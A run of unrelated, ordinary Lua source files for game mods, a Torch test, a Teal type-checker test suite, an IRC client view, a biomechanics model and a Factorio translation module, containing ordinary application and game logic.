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BTBBombSite = { Client = {}, Server = {}, Properties = { fileModel = "objects/library/props/ctf/mpnots_flagbase01.cgf", ModelSubObject = "main", Radius = 2; teamName = ""; Explosion = { Effect = "explosions.rocket.soil", EffectScale = 0.2, Radius = 2, Pressure = 250, Damage = 500, Decal = "textures/decal/explo_decal.dds", DecalScale = 1, Direction = {x=0, y=0.0, z=-1}, }, }, Editor = { Icon = "Item.bmp", IconOnTop = 1, }, } function BTBBombSite.Server:OnInit() Log("BTBBombSite.Server.OnInit"); if (not self.bInitialized) then self:OnReset(); self.bInitialized = 1; end; self.inside = {}; end; function BTBBombSite.Client:OnInit() Log("BTBBombSite.Client.OnInit"); if (not self.bInitialized) then self:OnReset(); self.bInitialized = 1; end; self.inside = {}; end; function BTBBombSite:OnReset() Log("BTBBombSite.OnReset"); self:LoadObject(0, self.Properties.fileModel); local radius_2 = self.Properties.Radius / 2; local Min={x=-radius_2,y=-radius_2,z=-radius_2}; local Max={x=radius_2,y=radius_2,z=radius_2}; self:SetTriggerBBox(Min,Max); self:Physicalize(0, PE_STATIC, { mass=0 }); self:SetFlags(ENTITY_FLAG_ON_RADAR, 0); if (CryAction.IsServer() and (self.Properties.teamName ~= "")) then local teamId = g_gameRules.game:GetTeamId(self.Properties.teamName); if (teamId > 0) then g_gameRules.game:SetTeam(teamId, self.id); end end end; ---------------------------------------------------------------------------------------------------- function BTBBombSite.Server:OnEnterArea(entity, areaId) Log("BTBBombSite.Server.OnEnterArea entity:%s, this areas team:%s", EntityName(entity.id), self.Properties.teamName); local inserted = false; for i,id in ipairs(self.inside) do if (id==entity.id) then inserted=true; Log("Entity already inserted"); break; end end if (not inserted) then table.insert(self.inside, entity.id); Log("Entity added"); end if (g_gameRules.Server.EntityEnterBombSiteArea ~= nil) then g_gameRules.Server.EntityEnterBombSiteArea(g_gameRules, entity, self); end end ---------------------------------------------------------------------------------------------------- function BTBBombSite.Client:OnEnterArea(entity, areaId) Log("BTBBombSite.Client.OnEnterArea entity:%s, this areas team:%s", EntityName(entity.id), self.Properties.teamName); if (g_gameRules.Client.EntityEnterBombSiteArea ~= nil) then g_gameRules.Client.EntityEnterBombSiteArea(g_gameRules, entity, self); end end function BTBBombSite.Client:OnLeaveArea(entity, areaId) Log("BTBBombSite.Client.OnLeaveArea entity:%s, this areas team:%s", EntityName(entity.id), self.Properties.teamName); if (g_gameRules.Client.EntityLeaveBombSiteArea ~= nil) then g_gameRules.Client.EntityLeaveBombSiteArea(g_gameRules, entity, self); end end ---------------------------------------------------------------------------------------------------- function BTBBombSite.Server:OnLeaveArea(entity, areaId) Log("BTBBombSite.Server.OnLeaveArea entity:%s, this areas team:%s", EntityName(entity.id), self.Properties.teamName); for i,id in ipairs(self.inside) do if (id==entity.id) then table.remove(self.inside, i); Log("Entity removed"); break; end end if (g_gameRules.Server.EntityLeftBombSiteArea ~= nil) then g_gameRules.Server.EntityLeftBombSiteArea(g_gameRules, entity, self); end end function BTBBombSite:EntityInsideArea(entityId) for i,id in ipairs(self.inside) do if (id==entityId) then return true; end end return false; end function BTBBombSite:Explode() local explosion=self.Properties.Explosion; local radius=explosion.Radius; g_gameRules:CreateExplosion(self.id,self.id,explosion.Damage,self:GetWorldPos(),explosion.Direction,radius,nil,explosion.Pressure,explosion.HoleSize,explosion.Effect,explosion.EffectScale); end
local theme = require(script.Parent.Parent.Parent.Themes.Current) local util = require(script.Parent.Parent.Parent.Scripts.Utils) local data = require(script.Parent.Parent.Parent.Scripts.UpdateData) local uis = game:GetService("UserInputService") local ts = game:GetService("TweenService") export type DotSliderParams = { Name: string, Min: number, Max: number, Round: number, Default: number, Setting: string, EventToFire: RemoteEvent?, Suffix: string?, } script.Frame.Reset.BackgroundColor3 = theme.Base script.Frame.Reset.TextColor3 = theme.BaseText script.Frame.Namer.TextColor3 = theme.BaseText script.Frame.Value.TextColor3 = theme.BaseText script.Frame.Slider.Frame.BackgroundColor3 = theme.BaseDarker script.Frame.Slider.Frame.Frame.BackgroundColor3 = theme.Base script.Frame.Slider.Frame.Frame.Frame.BackgroundColor3 = theme.Base return function(params: DotSliderParams) local copy = script.Frame:Clone() params.Round = params.Round or 0 params.Suffix = params.Suffix or "" copy.Namer.Text = params.Name copy.Slider.Hitbox.InputBegan:Connect(function(Input: InputObject) if Input.UserInputType ~= Enum.UserInputType.MouseButton1 then return end local dragging = true local stopDrag stopDrag = Input:GetPropertyChangedSignal("UserInputState"):Connect(function() if Input.UserInputState == Enum.UserInputState.End then dragging = false stopDrag:Disconnect() end end) while dragging do local relativePositionX = uis:GetMouseLocation().X - copy.Slider.Frame.AbsolutePosition.X local scaleX = math.clamp(relativePositionX / copy.Slider.Frame.AbsoluteSize.X, 0, 1) local value = scaleX * (params.Max - params.Min) + params.Min if params.EventToFire then params.EventToFire:FireServer(value) else data:set(params.Setting, value) end task.wait() end Input:Destroy() end) local function update(newval) local newval = newval or data:get(params.Setting) if typeof(newval) == "table" and newval.Value then newval = newval.Value end local val = util:Map(newval, params.Min, params.Max, 0, 1) ts:Create(copy.Slider.Frame.Frame, TweenInfo.new(0.05), { Size = UDim2.fromScale(val, 1) }):Play() copy.Value.Text = util:Round(newval, params.Round) .. params.Suffix end data:onChange(params.Setting, update) update() copy.Reset.MouseButton1Click:Connect(function() if params.EventToFire then params.EventToFire:FireServer(params.Default) else data:set(params.Setting, params.Default) end end) return copy end
laserdetector = class:new() function laserdetector:init(x, y, dir) self.cox = x self.coy = y self.dir = dir self.drawable = false self.outtable = {} self.allowclear = true self.out = "off" end function laserdetector:update(dt) self.allowclear = true if self.out ~= self.prevout then self.prevout = self.out for i = 1, #self.outtable do if self.outtable[i].input then self.outtable[i]:input(self.out) end end end end function laserdetector:input(t) self.allowclear = false if t == "on" then self.out = "on" end end function laserdetector:draw() local rot = 0 if self.dir == "down" then rot = math.pi/2 elseif self.dir == "left" then rot = math.pi elseif self.dir == "up" then rot = math.pi*1.5 end love.graphics.draw(laserdetectorimg, math.floor((self.cox-xscroll-0.5)*16*scale), (self.coy-1)*16*scale, rot, scale, scale, 8, 8) end function laserdetector:addoutput(a) table.insert(self.outtable, a) end function laserdetector:clear() if self.allowclear then self.allowclear = false self.out = "off" end end
require 'torch' require 'optim' n_feature = 3 classes = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9} print'ConfusionMatrix:__init() test' cm = optim.ConfusionMatrix(#classes, classes) target = 3 prediction = torch.randn(#classes) print'ConfusionMatrix:add() test' cm:add(prediction, target) batch_size = 8 targets = torch.randperm(batch_size) predictions = torch.randn(batch_size, #classes) print'ConfusionMatrix:batchAdd() test' cm:batchAdd(predictions, targets) assert(cm.mat:sum() == batch_size + 1, 'missing examples') print'ConfusionMatrix:updateValids() test' cm:updateValids() print'ConfusionMatrix:__tostring__() test' print(cm) target = 0 cm:add(prediction, target) assert(cm.mat:sum() == batch_size + 1, 'too many examples')
-------------------- -- Sassilization -- By Sassafrass / Spacetech / LuaPineapple -------------------- ENT.Type = "anim" ENT.Base = "building_base" if CLIENT then function PlayGateAnim(len) local ent = net.ReadEntity() local string = net.ReadString() if string && ent:IsValid() then local Sequence = ent:LookupSequence(string) ent.Model:ResetSequence( Sequence ) end end net.Receive("PlayGateAnim", PlayGateAnim) function SendConnectedPieces(len) ent = net.ReadEntity() ent.Connected = net.ReadTable() end net.Receive("SendConnectedPieces", SendConnectedPieces) ENT.Foundation = false end
#!/usr/bin/env lua -- fetches all available jet nodes,states and methods and prints -- the basic notification info local exp = arg[1] or {} local ip = arg[2] local port = arg[3] local cjson = require'cjson' local peer = require'jet.peer'.new{ip=ip,port=port} local is_json,exp_json = pcall(cjson.decode,exp) if is_json then exp = exp_json end peer:fetch(exp,function(path,event,data) print(path,event,cjson.encode(data)) end) peer:loop()
----------------------------------------- -- ID: 4396 -- Item: sausage_roll -- Food Effect: 30Min, All Races ----------------------------------------- -- Health % 6 (cap 160) -- Vitality 3 -- Intelligence -1 -- Attack % 27 -- Attack Cap 30 -- Ranged ATT % 27 -- Ranged ATT Cap 30 ----------------------------------------- require("scripts/globals/status") require("scripts/globals/msg") ----------------------------------------- function onItemCheck(target) local result = 0 if target:hasStatusEffect(tpz.effect.FOOD) or target:hasStatusEffect(tpz.effect.FIELD_SUPPORT_FOOD) then result = tpz.msg.basic.IS_FULL end return result end function onItemUse(target) target:addStatusEffect(tpz.effect.FOOD,0,0,1800,4396) end function onEffectGain(target, effect) target:addMod(tpz.mod.FOOD_HPP, 6) target:addMod(tpz.mod.FOOD_HP_CAP, 160) target:addMod(tpz.mod.VIT, 3) target:addMod(tpz.mod.INT, -1) target:addMod(tpz.mod.FOOD_ATTP, 27) target:addMod(tpz.mod.FOOD_ATT_CAP, 30) target:addMod(tpz.mod.FOOD_RATTP, 27) target:addMod(tpz.mod.FOOD_RATT_CAP, 30) end function onEffectLose(target, effect) target:delMod(tpz.mod.FOOD_HPP, 6) target:delMod(tpz.mod.FOOD_HP_CAP, 160) target:delMod(tpz.mod.VIT, 3) target:delMod(tpz.mod.INT, -1) target:delMod(tpz.mod.FOOD_ATTP, 27) target:delMod(tpz.mod.FOOD_ATT_CAP, 30) target:delMod(tpz.mod.FOOD_RATTP, 27) target:delMod(tpz.mod.FOOD_RATT_CAP, 30) end
local drawing = require 'utils.drawing' local addircstr = require 'utils.irc_formatting' local M = { title = 'status', draw_status = function() end, } local keys = { [-ncurses.KEY_PPAGE] = function() local elts = math.min(status_messages.n, status_messages.max) scroll = scroll + math.max(1, tty_height - 3) scroll = math.min(scroll, elts - tty_height + 3) scroll = math.max(scroll, 0) end, [-ncurses.KEY_NPAGE] = function() scroll = scroll - math.max(1, tty_height - 3) scroll = math.max(scroll, 0) end, } function M:keypress(key) local h = keys[key] if h then h() draw() end end local function safematch(str, pat) local success, result = pcall(string.match, str, pat) return not success or result end local function show_entry(entry) local current_filter if input_mode == 'filter' then current_filter = editor.rendered else current_filter = filter end return safematch(entry.text, current_filter) end function M:render() magenta() bold() addstr('time category message') bold_() local rows = math.max(0, tty_height - 2) drawing.draw_rotation(1, rows, status_messages, show_entry, function(entry) blue() addstr(string.format(' %-10.10s ', entry.category or '-')) normal() addircstr(entry.text) end) draw_global_load('cliconn', conn_tracker) end return M
function onUpdate(elapsed) if dadName == 'bandu' then --replace the name for your character name for i=0,4,1 do setPropertyFromGroup('opponentStrums', i, 'texture', 'NOTE_assets_3D') end for i = 0, getProperty('unspawnNotes.length')-1 do if not getPropertyFromGroup('unspawnNotes', i, 'mustPress') then setPropertyFromGroup('unspawnNotes', i, 'texture', 'NOTE_assets_3D'); --Change texture end end end end function onStepHit() if curStep == 2544 then setProperty('health', 2) end end
local tl = require("tl") local function trim_code(c) return c:gsub("^%s*", ""):gsub("\n%s*", "\n"):gsub("%s*$", "") end describe("not", function() it("ok with any type", function() local tokens = tl.lex([[ local x = 1 local y = 2 local z = true if not x then z = false end ]]) local _, ast = tl.parse_program(tokens) local errors = tl.type_check(ast) assert.same({}, errors) end) it("ok with not not", function() local tokens = tl.lex([[ local x = true local z: boolean = not not x ]]) local _, ast = tl.parse_program(tokens) local errors = tl.type_check(ast) assert.same({}, errors) end) it("not not casts to boolean", function() local tokens = tl.lex([[ local i = 12 local z: boolean = not not 12 ]]) local _, ast = tl.parse_program(tokens) local errors = tl.type_check(ast) assert.same({}, errors) end) it("handles precedence of sequential unaries correctly", function() local code = [[ local y = not -a == not -b local x = not not a == not not b ]] local tokens = tl.lex(code) local _, ast = tl.parse_program(tokens) local output = tl.pretty_print_ast(ast, true) assert.same(trim_code(code), trim_code(output)) end) it("handles complex expression with not", function() local code = [[ if t1.typevar == t2.typevar and (not not typevars or not not typevars[t1.typevar] == not typevars[t2.typevar]) then return true end if t1.typevar == t2.typevar and (not typevars or not not typevars[t1.typevar] == not not typevars[t2.typevar]) then return true end ]] local tokens = tl.lex(code) local _, ast = tl.parse_program(tokens) local output = tl.pretty_print_ast(ast, true) assert.same(trim_code(code), trim_code(output)) end) end)
return { "000_base_hmac_auth", "002_130_to_140", }
-- Список наклеек TuningConfig.stickers = { -- Раздел "фигуры" { {id = 251, price = 10, level = 2}, {id = 252, price = 10, level = 2}, {id = 253, price = 10, level = 2}, {id = 254, price = 10, level = 2}, {id = 255, price = 10, level = 2}, {id = 256, price = 10, level = 2}, {id = 257, price = 20, level = 5}, {id = 258, price = 20, level = 5}, {id = 259, price = 20, level = 5}, {id = 260, price = 20, level = 5}, {id = 261, price = 20, level = 5}, {id = 262, price = 20, level = 5}, {id = 263, price = 30, level = 7}, {id = 264, price = 30, level = 7}, {id = 265, price = 30, level = 7}, {id = 266, price = 30, level = 7}, {id = 267, price = 30, level = 7}, {id = 268, price = 30, level = 7}, {id = 269, price = 35, level = 8}, {id = 270, price = 35, level = 8}, {id = 271, price = 35, level = 8}, {id = 272, price = 35, level = 8}, {id = 273, price = 35, level = 8}, {id = 274, price = 35, level = 8}, {id = 275, price = 40, level = 9}, {id = 276, price = 40, level = 9}, {id = 277, price = 40, level = 9}, {id = 278, price = 40, level = 9}, {id = 279, price = 40, level = 9}, {id = 280, price = 40, level = 9}, {id = 281, price = 45, level = 10}, {id = 282, price = 45, level = 10}, {id = 283, price = 45, level = 10}, {id = 284, price = 45, level = 10}, {id = 285, price = 45, level = 10}, {id = 286, price = 45, level = 10}, {id = 287, price = 50, level = 11}, {id = 288, price = 50, level = 11}, {id = 289, price = 50, level = 11}, {id = 290, price = 50, level = 11}, {id = 291, price = 50, level = 11} }, -- Раздел "бренды" { {id = 1, price = 10, level = 3}, {id = 2, price = 10, level = 3}, {id = 3, price = 10, level = 3}, {id = 4, price = 10, level = 3}, {id = 5, price = 10, level = 3}, {id = 6, price = 10, level = 3}, {id = 7, price = 10, level = 3}, {id = 8, price = 10, level = 3}, {id = 9, price = 10, level = 3}, {id = 10, price = 10, level = 3}, {id = 11, price = 10, level = 3}, {id = 12, price = 10, level = 3}, {id = 13, price = 15, level = 4}, {id = 14, price = 15, level = 4}, {id = 15, price = 15, level = 4}, {id = 16, price = 15, level = 4}, {id = 17, price = 15, level = 4}, {id = 18, price = 15, level = 4}, {id = 19, price = 15, level = 4}, {id = 20, price = 15, level = 4}, {id = 21, price = 15, level = 4}, {id = 22, price = 15, level = 4}, {id = 23, price = 15, level = 4}, {id = 24, price = 15, level = 4}, {id = 25, price = 18, level = 5}, {id = 26, price = 18, level = 5}, {id = 27, price = 18, level = 5}, {id = 28, price = 18, level = 5}, {id = 29, price = 18, level = 5}, {id = 30, price = 18, level = 5}, {id = 31, price = 18, level = 5}, {id = 32, price = 18, level = 5}, {id = 33, price = 18, level = 5}, {id = 34, price = 18, level = 5}, {id = 35, price = 18, level = 5}, {id = 36, price = 18, level = 5}, {id = 37, price = 23, level = 6}, {id = 38, price = 23, level = 6}, {id = 39, price = 23, level = 6}, {id = 40, price = 23, level = 6}, {id = 41, price = 23, level = 6}, {id = 42, price = 23, level = 6}, {id = 43, price = 23, level = 6}, {id = 44, price = 23, level = 6}, {id = 45, price = 23, level = 6}, {id = 46, price = 23, level = 6}, {id = 47, price = 23, level = 6}, {id = 48, price = 23, level = 6}, {id = 49, price = 28, level = 7}, {id = 50, price = 28, level = 7}, {id = 51, price = 28, level = 7}, {id = 52, price = 28, level = 7}, {id = 53, price = 28, level = 7}, {id = 54, price = 28, level = 7}, {id = 55, price = 28, level = 7}, {id = 56, price = 28, level = 7}, {id = 57, price = 28, level = 7}, {id = 58, price = 28, level = 7}, {id = 59, price = 28, level = 7}, {id = 60, price = 28, level = 7}, {id = 61, price = 35, level = 9}, {id = 62, price = 35, level = 9}, {id = 63, price = 35, level = 9}, {id = 64, price = 35, level = 9}, {id = 65, price = 35, level = 9}, {id = 66, price = 35, level = 9}, {id = 67, price = 35, level = 10}, {id = 68, price = 35, level = 10}, {id = 69, price = 35, level = 10}, {id = 70, price = 35, level = 10}, {id = 71, price = 35, level = 10}, {id = 72, price = 35, level = 10}, {id = 73, price = 35, level = 10}, {id = 74, price = 35, level = 10}, {id = 75, price = 35, level = 10}, {id = 76, price = 35, level = 10}, {id = 77, price = 35, level = 10}, {id = 78, price = 35, level = 10}, {id = 79, price = 42, level = 11}, {id = 80, price = 42, level = 11}, {id = 81, price = 42, level = 11}, {id = 82, price = 42, level = 11}, {id = 83, price = 42, level = 11}, {id = 84, price = 42, level = 11}, {id = 85, price = 42, level = 11}, {id = 86, price = 42, level = 11}, {id = 87, price = 42, level = 11}, {id = 88, price = 42, level = 11}, {id = 89, price = 42, level = 11}, {id = 90, price = 42, level = 11}, {id = 91, price = 42, level = 11}, {id = 92, price = 42, level = 11}, {id = 93, price = 42, level = 11}, {id = 94, price = 42, level = 11}, {id = 95, price = 42, level = 11}, {id = 96, price = 42, level = 11}, {id = 97, price = 47, level = 12}, {id = 98, price = 47, level = 12}, {id = 99, price = 47, level = 12}, {id = 100, price = 47, level = 12}, {id = 101, price = 47, level = 12}, {id = 102, price = 47, level = 12}, {id = 103, price = 47, level = 12}, {id = 104, price = 47, level = 12}, {id = 105, price = 47, level = 12}, {id = 106, price = 47, level = 12}, {id = 107, price = 47, level = 12}, {id = 108, price = 47, level = 12}, {id = 109, price = 55, level = 12}, {id = 110, price = 55, level = 12}, {id = 111, price = 55, level = 12}, {id = 112, price = 55, level = 12}, {id = 113, price = 55, level = 12}, {id = 114, price = 55, level = 12}, {id = 115, price = 55, level = 12}, {id = 116, price = 55, level = 12}, {id = 117, price = 55, level = 12}, {id = 118, price = 55, level = 12}, {id = 119, price = 55, level = 12}, {id = 120, price = 55, level = 12}, {id = 121, price = 55, level = 12}, {id = 122, price = 55, level = 12}, {id = 123, price = 55, level = 12}, {id = 124, price = 55, level = 12}, {id = 125, price = 55, level = 12}, {id = 126, price = 55, level = 12}, {id = 127, price = 60, level = 13}, {id = 128, price = 60, level = 13}, {id = 129, price = 60, level = 13}, {id = 130, price = 60, level = 13}, {id = 131, price = 60, level = 13}, {id = 132, price = 60, level = 13}, {id = 133, price = 60, level = 13}, {id = 134, price = 60, level = 13}, {id = 135, price = 60, level = 13}, {id = 136, price = 60, level = 13}, {id = 137, price = 60, level = 13}, {id = 138, price = 60, level = 13}, {id = 139, price = 60, level = 13}, {id = 140, price = 60, level = 13}, {id = 141, price = 60, level = 13}, {id = 142, price = 60, level = 13}, {id = 143, price = 60, level = 13}, {id = 144, price = 60, level = 13}, {id = 145, price = 70, level = 14}, {id = 146, price = 70, level = 14}, {id = 147, price = 70, level = 14}, {id = 148, price = 70, level = 14}, {id = 149, price = 70, level = 14}, {id = 150, price = 70, level = 14}, {id = 151, price = 70, level = 14}, {id = 152, price = 70, level = 14}, {id = 153, price = 70, level = 14}, {id = 154, price = 70, level = 14}, {id = 155, price = 70, level = 14}, {id = 156, price = 70, level = 14}, {id = 157, price = 80, level = 17} }, -- Раздел "флаги" { {id = 292, price = 40, level = 6}, {id = 293, price = 40, level = 6}, {id = 294, price = 40, level = 6}, {id = 295, price = 40, level = 6}, {id = 296, price = 40, level = 6}, {id = 297, price = 40, level = 6}, {id = 298, price = 40, level = 6}, {id = 299, price = 40, level = 6}, {id = 300, price = 40, level = 6}, {id = 301, price = 40, level = 6}, {id = 302, price = 40, level = 6} }, -- Раздел "буквы" { {id = 158, price = 10, level = 10}, {id = 159, price = 10, level = 10}, {id = 160, price = 10, level = 10}, {id = 161, price = 10, level = 10}, {id = 162, price = 10, level = 10}, {id = 163, price = 10, level = 10}, {id = 164, price = 10, level = 10}, {id = 165, price = 10, level = 10}, {id = 166, price = 10, level = 10}, {id = 167, price = 10, level = 10}, {id = 168, price = 10, level = 10}, {id = 169, price = 10, level = 10}, {id = 170, price = 10, level = 10}, {id = 171, price = 10, level = 10}, {id = 172, price = 10, level = 10}, {id = 173, price = 10, level = 10}, {id = 174, price = 10, level = 10}, {id = 175, price = 10, level = 10}, {id = 176, price = 10, level = 10}, {id = 177, price = 10, level = 10}, {id = 178, price = 10, level = 10}, {id = 179, price = 10, level = 10}, {id = 180, price = 10, level = 10}, {id = 181, price = 10, level = 10}, {id = 182, price = 10, level = 10}, {id = 183, price = 10, level = 10} }, -- Раздел "цифры" { {id = 303, price = 5, level = 9}, {id = 304, price = 5, level = 9}, {id = 305, price = 5, level = 9}, {id = 306, price = 5, level = 9}, {id = 307, price = 5, level = 9}, {id = 308, price = 5, level = 9}, {id = 309, price = 5, level = 9}, {id = 310, price = 5, level = 9}, {id = 311, price = 5, level = 9}, {id = 312, price = 5, level = 9}, }, -- Раздел "другое" { {id = 228, price = 45, level = 1}, {id = 184, price = 25, level = 15}, {id = 185, price = 25, level = 15}, {id = 186, price = 25, level = 15}, {id = 187, price = 25, level = 15}, {id = 188, price = 25, level = 15}, {id = 189, price = 25, level = 15}, {id = 190, price = 25, level = 15}, {id = 191, price = 25, level = 15}, {id = 192, price = 25, level = 15}, {id = 193, price = 25, level = 15}, {id = 194, price = 25, level = 15}, {id = 195, price = 25, level = 15}, {id = 196, price = 35, level = 16}, {id = 197, price = 35, level = 16}, {id = 198, price = 35, level = 16}, {id = 199, price = 35, level = 16}, {id = 200, price = 35, level = 16}, {id = 201, price = 35, level = 16}, {id = 202, price = 35, level = 16}, {id = 203, price = 35, level = 16}, {id = 204, price = 35, level = 16}, {id = 205, price = 35, level = 16}, {id = 206, price = 35, level = 16}, {id = 207, price = 35, level = 16}, {id = 208, price = 40, level = 17}, {id = 209, price = 40, level = 17}, {id = 210, price = 40, level = 17}, {id = 211, price = 40, level = 17}, {id = 212, price = 40, level = 17}, {id = 213, price = 40, level = 17}, {id = 214, price = 40, level = 17}, {id = 215, price = 40, level = 17}, {id = 216, price = 40, level = 17}, {id = 217, price = 40, level = 17}, {id = 218, price = 40, level = 17}, {id = 219, price = 40, level = 17}, {id = 220, price = 45, level = 18}, {id = 221, price = 45, level = 18}, {id = 222, price = 45, level = 18}, {id = 223, price = 45, level = 18}, {id = 224, price = 45, level = 18}, {id = 225, price = 45, level = 18}, {id = 226, price = 45, level = 18}, {id = 227, price = 45, level = 18}, {id = 229, price = 45, level = 18}, {id = 230, price = 45, level = 18}, {id = 231, price = 45, level = 18}, {id = 232, price = 50, level = 19}, {id = 233, price = 50, level = 19}, {id = 234, price = 50, level = 19}, {id = 235, price = 50, level = 19}, {id = 236, price = 50, level = 19}, {id = 237, price = 50, level = 19}, {id = 238, price = 50, level = 19}, {id = 239, price = 50, level = 19}, {id = 240, price = 50, level = 19}, {id = 241, price = 50, level = 19}, {id = 242, price = 50, level = 19}, {id = 243, price = 50, level = 19}, {id = 244, price = 50, level = 19}, {id = 245, price = 50, level = 19}, {id = 246, price = 50, level = 19}, {id = 247, price = 50, level = 19}, {id = 248, price = 50, level = 19}, {id = 249, price = 50, level = 19}, {id = 250, price = 5, level = 20} } }
----------------------------------- -- Area: The Shrine of Ru'Avitau -- NPC: Yve'noile -- Type: Quest Giver -- !pos 0.001 -1 0.001 178 ----------------------------------- function onTrade(player,npc,trade) end; function onTrigger(player,npc) player:startEvent(53); end; function onEventUpdate(player,csid,option) end; function onEventFinish(player,csid,option) end;
local prefixCol = RPGM.Config.LogPrefixCol local messageCol = RPGM.Config.LogMessageCol local warningCol = RPGM.Config.LogWarningCol local errorCol = RPGM.Config.LogErrorCol function RPGM.Log(msg, prefixColOverride) MsgC(prefixColOverride or prefixCol, "[RPGM]: ", messageCol, msg .. "\n") end function RPGM.LogWarning(warningMsg) MsgC(prefixCol, "[RPGM - WARNING]: ", warningCol, warningMsg .. "\n") end function RPGM.LogError(errorMsg) MsgC(prefixCol, "[RPGM - ERROR]: ", errorCol, errorMsg .. "\n") debug.Trace() end function RPGM.Assert(expression, errorMsg) if not expression then RPGM.LogError(errorMsg) end end local type = type function RPGM.CheckType(var, expectedType) RPGM.Assert(type(var) == expectedType, "Expected type \"" .. expectedType .. "\" from var.") end
return { metadata = { {scaling_used = {"Box15kg_3D"}, subject_age = {30.0}, subject_height = {1.70}, subject_weight = {80.00}, subject_gender = {"male"}, subject_pelvisWidth = {0.2400}, subject_hipCenterWidth = {0.1700}, subject_shoulderCenterWidth = {0.4000}, subject_heelAnkleXOffset = {0.0800}, subject_heelAnkleZOffset = {0.0900}, subject_shoulderNeckZOffset = {0.0700}, subject_footWidth = {0.0900}, }, }, gravity = { 0, 0, -9.81,}, configuration = { axis_front = { 1, 0, 0,}, axis_right = { 0, -1, 0,}, axis_up = { 0, 0, 1,}, }, points = { {name = "BoxAttach_L", body = "Box", point = {0.000000, 0.210000, 0.060000,},}, {name = "BoxAttach_R", body = "Box", point = {0.000000, -0.210000, 0.060000,},}, {name = "BoxBottom", body = "Box", point = {0.000000, 0.000000, -0.060000,},}, {name = "BoxBottomLeftBack", body = "Box", point = {-0.120000, 0.138000, -0.060000,},}, }, constraint_sets = { }, frames = { {name = "Box", parent = "ROOT", joint_frame = { r = { 0.000000, 0.000000, 0.000000,}, E = {{ 1.000000, 0.000000, 0.000000,}, { 0.000000, 1.000000, 0.000000,}, { 0.000000, 0.000000, 1.000000,},}, }, body = { mass = 6.839995, com = { -0.000000, -0.000000, 0.000000,}, inertia = {{ 0.054506, -0.000000, 0.000000,}, { -0.000000, 0.043833, -0.000000,}, { 0.000000, -0.000000, 0.081923,},}, }, joint = {{ 0.000000, 0.000000, 0.000000, 1.000000, 0.000000, 0.000000,}, { 0.000000, 0.000000, 0.000000, 0.000000, 1.000000, 0.000000,}, { 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 1.000000,}, { 0.000000, 1.000000, 0.000000, 0.000000, 0.000000, 0.000000,}, { 1.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000,}, { 0.000000, 0.000000, 1.000000, 0.000000, 0.000000, 0.000000,},}, markers = {}, visuals = {{ src = "unit_cube.obj", dimensions = { 0.250000, 0.285000, 0.120000,}, mesh_center = { 0.000000, 0.000000, 0.000000,}, color = { 0.250000, 0.250000, 0.250000,}, },}, }, }, }
-- NOTICE: This module is deprecated and has been replaced by the new `dictionary` module. This will remain in flib for -- the foreseeable future for backwards compatibility, but is no longer documented or supported. local flib_translation = {} local table = require("__flib__.table") local math = math local next = next local pairs = pairs local type = type function flib_translation.init() if not global.__flib then global.__flib = {} end global.__flib.translation = { players = {}, translating_players_count = 0, } end function flib_translation.iterate_batch(event_data) local __translation = global.__flib.translation if __translation.translating_players_count == 0 then return end local translations_per_tick = settings.global["flib-translations-per-tick"].value local iterations = math.ceil(translations_per_tick / __translation.translating_players_count) if iterations < 1 then iterations = 1 end local current_tick = event_data.tick for player_index, player_table in pairs(__translation.players) do local player = game.get_player(player_index) if player.connected then local request_translation = player.request_translation local i = 0 local sort_data = player_table.sort local sort_strings = sort_data and sort_data.strings local translate_data = player_table.translate local translate_strings = translate_data.strings while i < iterations do if player_table.state == "sort" then local string_index = sort_data.next_index local string_data = sort_strings[string_index] if string_data then i = i + 1 local serialised = flib_translation.serialise_localised_string(string_data.localised) local translation_data = translate_strings[serialised] if translation_data then local dictionary_names = translation_data.names[string_data.dictionary] if dictionary_names then dictionary_names[#dictionary_names + 1] = string_data.internal else translation_data.names[string_data.dictionary] = { string_data.internal } end else translate_strings[serialised] = { string = string_data.localised, names = { [string_data.dictionary] = { string_data.internal } }, } translate_strings.__size = translate_strings.__size + 1 end sort_data.next_index = string_index + 1 sort_strings[string_index] = nil else player_table.state = "translate" player_table.sort = nil player_table.translate.next_key = next(player_table.translate.strings, "__size") end elseif player_table.state == "translate" then local current_key = translate_data.next_key local translation_data = translate_strings[current_key] if translation_data then i = i + 1 request_translation(translation_data.string) translate_data.next_key = next(translate_strings, current_key) else player_table.state = "wait" player_table.translate.current_key = nil end elseif player_table.state == "wait" then local wait_tick = player_table.wait_tick if wait_tick then if wait_tick <= current_tick then -- if this player is still being iterated at this point, there are some unreceived translations -- see https://forums.factorio.com/84570 player_table.state = "translate" player_table.translate.next_key = next(translate_strings, "__size") end else player_table.wait_tick = current_tick + 20 end break -- only needs to run once per player per tick end end else flib_translation.cancel(player_index) end end end function flib_translation.process_result(event_data) local __translation = global.__flib.translation if __translation.translating_players_count == 0 then return end local player_table = __translation.players[event_data.player_index] if not player_table then return end if player_table.state == "sort" then return end local serialised = flib_translation.serialise_localised_string(event_data.localised_string) local translate_strings = player_table.translate.strings local translation_data = translate_strings[serialised] if translation_data then local names = translation_data.names translate_strings[serialised] = nil translate_strings.__size = translate_strings.__size - 1 local finished = false if translate_strings.__size == 0 then flib_translation.cancel(event_data.player_index) finished = true end return names, finished end return nil, false end function flib_translation.add_requests(player_index, strings) local __translation = global.__flib.translation local player_table = __translation.players[player_index] if player_table then player_table.state = "sort" if player_table.sort then local strings_to_sort = player_table.sort.strings for i = 1, #strings do strings_to_sort[#strings_to_sort + 1] = strings[i] end player_table.sort.next_index = 1 else player_table.sort = { strings = table.shallow_copy(strings), next_index = 1, } end player_table.translate.next_key = nil else __translation.players[player_index] = { state = "sort", -- sort sort = { strings = table.shallow_copy(strings), next_index = 1, }, -- translate translate = { strings = { __size = 0 }, next_key = nil, }, -- wait wait_tick = nil, } __translation.translating_players_count = __translation.translating_players_count + 1 end end function flib_translation.cancel(player_index) local __translation = global.__flib.translation local player_table = __translation.players[player_index] if not player_table then log("Tried to cancel translations for player [" .. player_index .. "] when no translations were running!") return end __translation.players[player_index] = nil __translation.translating_players_count = __translation.translating_players_count - 1 end function flib_translation.is_translating(player_index) return global.__flib.translation.players[player_index] and true or false end function flib_translation.translating_players_count() return global.__flib.translation.translating_players_count end function flib_translation.serialise_localised_string(localised_string) if type(localised_string) == "string" then return localised_string end local output = "{" local first = true for _, v in pairs(localised_string) do if not first then output = output .. "," end if type(v) == "table" then output = output .. flib_translation.serialise_localised_string(v) else output = output .. '"' .. tostring(v) .. '"' end first = false end output = output .. "}" return output end return flib_translation
